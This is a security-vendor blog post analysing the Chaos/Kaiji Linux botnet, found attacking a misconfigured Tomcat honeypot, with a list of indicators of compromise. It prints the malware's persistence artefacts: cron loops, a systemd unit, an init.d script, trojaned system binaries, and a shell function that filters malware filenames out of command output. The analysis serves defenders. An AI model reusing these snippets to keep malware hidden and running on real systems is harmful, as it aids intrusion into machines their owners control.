Chaos Malware Quietly Evolves Persistence and Evasion Techniques

By Nicholas Lang - MARCH 17, 2023

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The name Chaos is being used for a ransomware strain, a remote access trojan (RAT), and now a DDoS malware variant too. Talk about chaos! In this case, Sysdig’s Threat Research Team captured attacks using the Chaos variant of the Kaiji botnet malware. There is very little reported information on this malware since September 2022, perhaps because of the unfortunately chaotic naming, or simply because it is relatively new. Kaiji malware was of Chinese origin in 2020 and is written in Golang. Similarly, Chaos is a Chinese Golang malware developed for both Windows and Linux operating systems, and other multiple hardware architectures too.

Chaos made a lot of noise in our honeypot in mid-January when we directly observed this malware attacking a misconfigured Apache Tomcat environment. We saw it again at the end of February with some evolutions. Previous iterations of this malware were sourced from a publicly available malware repository and analyzed by Lumen’s Black Lotus Labs.

We will go through the analysis of our captured attacks with an emphasis on persistence techniques in this blog, and share our Indicators of Compromise (IOCs) at the end.

Kaiji malware

As far as behavioral attributes, we concur with previous reporting that this Chaos malware is an evolution of the Kaiji botnet, with much of the same previously reported functionality. To summarize, Kaiji was a DDoS botnet that mainly attacked IoT devices via SSH brute-forcing, hence the source language being Go and easy cross-compilation to common IoT architectures like PowerPC and SPARC. The Chaos variant we captured shows all of the same DDoS functionality as the previously reported-on version, and rather than build a Chaos emulator, we identified that the code supporting this functionality was still present in this new version.

Technical analysis

After being installed via the exploitation of a misconfigured Apache Tomcat environment, Chaos malware pivoted to install ALL the persistence mechanisms. We will explain in greater detail below, but the actors behind this attack really wanted to ensure their attack would survive a reboot, which begs the question of whether or not they considered that the world has moved on to containerized workloads – none of these persistence mechanisms would survive a container restart.

We started our analysis using the tool ssdeep for fuzzy hashing, or comparing similar but not identical files. This allowed us to cluster the files we captured based on similarity. The invocation in the screenshot is telling ssdeep to group the files by similarity (-g), and to hash all of the files in the directory (-d). First, we found 10 files that were all the same binary. Turns out, they are copies of the malware itself. The remaining files were scripts used to execute the malware via different persistence mechanisms.

Chaos Malware Quietly Evolves Persistence and Evasion Techniques

T1053.003 – scheduled task/job: cron

First of all, we saw that persistence was achieved by copying itself to the file path /etc/id.services.conf and creating the file /etc/32678. This action remains unchanged from previous reporting and for this reason, we knew we were likely looking at Chaos. The /etc/32678 file contains the following shell script:

#!/bin/sh
while [ 1 ]; do
sleep 60
/etc/id.services.conf
DoneCode language: Perl (perl)

The /etc/32678 file was then executed by adding an entry to crontab and executing cron -f, which makes cron run in the foreground instead of background. The script will attempt to execute the malware while the cron program continues to run. This can be considered the malware’s initial startup. Since running cron like this isn’t persistent, the attacker resorts to a number of additional methods to ensure their malware comes back after a reboot or if it dies.

T1554: compromise client software binary

Chaos attempts to use the user and automated scripts as a persistence mechanism by trojaning common user binaries. When these binaries are executed, the main Chaos payload will be run. The original program is not called, so the expected behavior of the command would not occur. This tactic also has the side effect of making it difficult for a user to see what is happening on the system.

The files replaced are:

/usr/bin/find
/usr/bin/dir
/usr/bin/ls
/usr/bin/ps

The Chaos malware does attempt to hide its presence in a rather uncommon way. Shell functions in the gateway.sh script, when placed in /etc/profile.d/, will run the users’ shell commands and filter out any sign of the malwares’ presence. The example below replaces the find command and uses sed to strip out its own filenames.

function find {
    proc_name=$(/usr/bin/find $@) # run the backdoored find with the original arguments specified by the user
    proc_name=$(echo "$proc_name" | sed -e '/32676/d')
    proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d')
    proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d')
    proc_name=$(echo "$proc_name" | sed -e '/System.mod/d')
    proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d')
    proc_name=$(echo "$proc_name" | sed -e '/32676/d')
    . . . <other IoCs here>
    echo "$proc_name"
}Code language: Perl (perl)

T1546.004 – event triggered execution: unix shell configuration modification

Files in /etc/profile/ set the environment variables at startup of the bash shell. The /etc/profile.d/ directory contains other scripts that contain application-specific startup files, which are also executed at startup time by the shell. This is a common place attackers can place their own files in order to gain execution. In this case, it occurs when a shell is launched, such as when a user logs in to the system.

The attacker placed the /etc/profile.d/bash_config.sh file which contains:

#!/bin/sh
/etc/profile.d/bash_configCode language: Perl (perl)

This invokes the specified malware each time a new bash shell is spawned. Note that this is the ELF version of the malware, not another script.

T1053.003 – scheduled task/job: cron

Cron is a system binary that is analogous to scheduled tasks for those coming from the Windows world. Cron allows attackers to ensure that their malware will be restarted after a certain time interval, increasing the persistence of the attack. The crontab file invokes the hidden file .img, which is a shell script that then calls the libdlrpcld.so file, which is yet another copy of the malware. The following cron entry will execute .img every minute.

*/1 * * * * root /.imgCode language: Perl (perl)

The .img file is a shell script which calls a copy of the malware, named libdlrpcld.so like so:

#!/bin/sh\n/usr/lib/libdlrpcld.so                                                                Code language: Perl (perl)

T1543.002 – create or modify system process: systemd service

Systemd’s primary component is a “system and service manager” – an init system used to bootstrap user space and manage user processes. It also provides replacements for various daemons and utilities, including device management, login management, network connection management, and event logging. In this case, the attackers wrote a systemd service that will run the malware (here named System.img.config) on system init.

The file /usr/lib/systemd/linux.service was created by the attacker as a systemd service that executes the malware on boot:

$ cat linux.service
[Unit]
Description=linux
After=network.target
[Service]
Type=forking
ExecStart=/boot/System.img.config
ExecReload=/boot/System.img.config
ExecStop=/boot/System.img.config
[Install]
WantedBy=multi-user.target Code language: Perl (perl)

T1037 – boot or logon initialization scripts

In Unix-based computer operating systems, init (short for initialization) is the first process started during booting of the operating system. Init is a daemon process that continues running until the system is shut down. It is the direct or indirect ancestor of all other processes and automatically adopts all orphaned processes. Init is started by the kernel during the booting process; a kernel panic will occur if the kernel is unable to start it. Init is typically assigned PID 1. Init scripts placed in the /etc/init.d/ directory allow for users to write their own startup scripts or programs.

Below, you can see the threat actors behind Chaos leverage init scripts to ensure that their malware (here named System.img.config) will run on system startup. They used both init.d and systemd to better their chances of retaining persistence, presumably because they don’t know in advance which system their target uses. The file used was: /etc/init.d/linux_kill. On boot, it will execute the /boot/System.img.config file, which is the Chaos malware.

cat linux_kill
#!/bin/sh
### BEGIN INIT INFO
#chkconfig: 2345 10 90
#description:System.img.config
# Default-Start:	2 3 4 5
# Default-Stop:
### END INIT INFO
/boot/System.img.config
exit 0  Code language: Perl (perl)

Binary analysis

During our investigation, we observed two versions of the Chaos malware which we will call 32678 and 32676. While the surrounding shell scripts were different and showed an evolution of tactics, the malware itself seems to have remained very similar. First, we used ssdeep to compare them, but as the results show below, they were not the same.

$ ssdeep ./files/System.mod ../chaos/files/System.img.config
ssdeep,1.1--blocksize:hash:hash,filename
24576:ae9ufJvk4gQjMNRfktnsIXvZFyD9i+MPCIxyuzNqssZXJjZbdYVVMtIwWz1v:WYMnwRO4ssPJd5Wz1,"/Users/nicholaslang/chaos_new/files/System.mod"
49152:E33d0lGt6UHcFL7Rn2o03wiEhiDmzzd/9sARlBs/00Cpfx9a9uNYp9hW16klbU6V:E33GlbU8FwmzzRDZ9mjqRV,"/Users/nicholaslang/chaos/files/System.img.config"Code language: Perl (perl)

Next, we measured the entropy, or randomness, of each binary and plotted them on a graph. Different types of data tend to have different levels of entropy; normal x64 code is less random than an encrypted executable. In order to obfuscate an executable, threat actors will often employ various methods to change the binary so the hashes no longer match, which we saw in this case.

The two versions of the Chaos malware (32676 and 32678, respectively) are extremely different when fuzzy-hashed with ssdeep, but the entropy graphs reveal very similar (near-identical) binary layouts. This suggests that the threat actor did attempt to obfuscate the binary between attacks, but their methods did not significantly alter the binary’s structure. There are likely no major changes to its functionality either. This investigative technique makes it easier to identify additional Chaos variants.

Conclusion

Chaos is either not being deployed very frequently, being miscategorized as its former Kaiji parent version and therefore ignored, or is not being found. Regardless, we were surprised to find so little information on what seems to be a fairly capable piece of malware. The authors of the malware have put more effort than most in trying to persist the malware across reboots and hide its presence.

Our analysis showed that there were several copies of the malware being used in the wild. There are also multiple persistence mechanisms for malware execution, an indication that the actor is thorough but not necessarily competent with containers. While a simple reboot in a containerized environment will rid you of this botnet, you should patch the initial access vector (likely a CVE) to truly rid yourself of this infection.

IOCs

IP Addresses:

98.159.98[.]203

107.189.7[.]51

FilenameMD5 Hash
Attack 1
linux_38614be5f004bc5e7a33c3057df92ad9a16
bash_config14be5f004bc5e7a33c3057df92ad9a16
find14be5f004bc5e7a33c3057df92ad9a16
dir14be5f004bc5e7a33c3057df92ad9a16
id.services.conf14be5f004bc5e7a33c3057df92ad9a16
ls14be5f004bc5e7a33c3057df92ad9a16
System.img.confg14be5f004bc5e7a33c3057df92ad9a16
ps14be5f004bc5e7a33c3057df92ad9a16
system-monitor14be5f004bc5e7a33c3057df92ad9a16
libdlrpcld.so14be5f004bc5e7a33c3057df92ad9a16
32678768eaf287796da19e1cf5e0b2fb1b161
bash_config.shcfb4e51061485fe91169381fbdc1538e
crontab360878ce5edb3684950ebb0c138298f8
linux.serviced80ccc7ced99538f22336f2ec0249087
linux_kill3909975f7cc0d1121c1819b800069f31
.imgd73d3376908ea075a939e3871ad0fabe
Attack 2
3267647684525bfdf26f49fd1cf742b17c015
bash_cfg0db80699dcdf8372e0f813eaea8b5782
bash_cfg.sh3e32bcdce50da6c05127094b32e5401a
cron0e0a4a7372459b9c2d8f45baa40a64b3
crontaba60806d9e03c42cd3bd740cbfb6d4375
dir079b45463b8b7f66d9ec2c24b2853fbe
findb68ef002f84cc54dd472238ba7df80ab
gateway.shb10f8b371ee7559987c4b29a4ac85e42
hashes.txtd12d6a5241cf180734dbe0b928c97798
hwclock.sh40e4f04e723fb5bee6df2327ea35254d
libgdi.so.0.8.10db80699dcdf8372e0f813eaea8b5782
linux_3860db80699dcdf8372e0f813eaea8b5782
ls0db80699dcdf8372e0f813eaea8b5782
opt.services.cfg0db80699dcdf8372e0f813eaea8b5782
procpsbea2bdfd5f7688d4f6e313dc63ca499d
ps0db80699dcdf8372e0f813eaea8b5782
quotaoff.serviceb02de6cd28cd922b18d9d93375a70d8b
system-mark0db80699dcdf8372e0f813eaea8b5782
System.mod0db80699dcdf8372e0f813eaea8b5782

For additional IoCs associated with this campaign, please visit our GitHub page.

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